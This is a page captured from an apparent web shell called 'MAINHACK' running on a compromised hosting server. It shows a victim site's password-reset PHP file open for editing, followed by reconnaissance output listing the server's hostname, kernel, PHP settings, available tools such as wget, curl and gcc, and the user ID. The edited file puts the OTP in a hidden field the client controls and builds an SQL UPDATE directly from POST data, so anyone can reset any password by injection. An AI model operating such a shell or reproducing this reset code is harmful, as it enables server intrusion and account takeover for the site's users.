[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: reset_password2.php
<?php include '../settings/settings.php'; $login=new Oops($db); ?> <?php $m=base64_decode($_REQUEST['m']); $otp=base64_decode($_REQUEST['id']); $table=base64_decode($_REQUEST['tab']); ?> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <title>Login-<?=$title?></title> <meta content='width=device-width, initial-scale=1.0, shrink-to-fit=no' name='viewport' /> <link rel="icon" href="<?=$favicon?>" type="image/x-icon"/> <!-- Fonts and icons --> <script src="assets/js/plugin/webfont/webfont.min.js"></script> <script> WebFont.load({ google: {"families":["Montserrat:100,200,300,400,500,600,700,800,900"]}, custom: {"families":["Flaticon", "LineAwesome"], urls: ['../assets/css/fonts.css']}, active: function() { sessionStorage.fonts = true; } }); </script> <script> function checkPass() { var pass1 = document.getElementById('pass1'); var pass2 = document.getElementById('pass2'); var message = document.getElementById('error-nwl'); var goodColor = "#66cc66"; var badColor = "#ff6666"; if(pass1.value.length > 7) { message.style.color = goodColor; message.innerHTML = "character number ok!" } else { message.style.color = badColor; message.innerHTML = " you have to enter at least 8 digit!" return; } if(pass1.value == pass2.value) { message.style.color = goodColor; message.innerHTML = "ok!" document.getElementById("btn").disabled = false; } else { message.style.color = badColor; message.innerHTML = " These passwords don't match" document.getElementById("btn").disabled = true; } } </script> <!-- CSS Files --> <link rel="stylesheet" href="assets/css/bootstrap.min.css"> <link rel="stylesheet" href="assets/css/ready.min.css"> </head> <body class="login"> <div class="wrapper wrapper-login"> <div class="container container-login animated fadeIn"> <h3 class="text-center">Forget Password-><?=$signin_title?></h3> <form method="post"> <?php if (filter_var($m, FILTER_VALIDATE_EMAIL)) $fname='email'; else $fname='phone'; ?> <input type="hidden" name="otp" value="<?=$otp?>" placeholder="OTP"> <input type="hidden" name="table" value="admin"> <input type="hidden" name="field_name" value="email" > <input type="hidden" name="field_value" value="<?=$m?>"> <div class="login-form"> <div class="form-group form-floating-label"> <input name="otp_new" type="text" class="form-control input-border-bottom" required> <label for="username" class="placeholder">OTP</label> </div> <div class="form-group form-floating-label"> <input title="password should have an Upper case,a lower case ,number and any characters like @$#_" id="pass1" onkeyup="checkPass(); return false;" name="password" type="text" class="form-control input-border-bottom" required> <label for="username" class="placeholder">Password</label> </div> <div class="form-group form-floating-label"> <input id="pass2" onkeyup="checkPass(); return false;" name="cpassword1" type="text" class="form-control input-border-bottom" required> <label for="username" class="placeholder">Confirm Password</label> </div> <div class="form-action"> <input type="submit" name="sub" value="Reset Password" class="btn btn-primary btn-rounded btn-login"> </div> <div class="login-account"> <a href="forget_pass.php?type=<?=base64_encode($table)?>" id="show-signup" class="link"><strong>Resend OTP</strong></a> </div> </div></form> <?php if(isset($_POST['sub'])){ if($_POST['otp']==$_POST['otp_new']){ $sq="update ".$_POST['table']." set password='".md5($_POST['cpassword1'])."' where ".$_POST['field_name']."='".$_POST['field_value']."'"; // echo $sq; $stmt=$con->prepare($sq); $r=$stmt->execute(); if($r){ echo "<script>alert('Yours Password has been reset.');window.location.href='index.php';</script>"; } }else{ echo "<script>alert('OTP mismatched.Please verify otp.');</script>"; } } ?> </div> </div> <script src="assets/js/core/jquery.3.2.1.min.js"></script> <script src="assets/js/plugin/jquery-ui-1.12.1.custom/jquery-ui.min.js"></script> <script src="assets/js/core/popper.min.js"></script> <script src="assets/js/core/bootstrap.min.js"></script> <script src="assets/js/ready.js"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.22 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619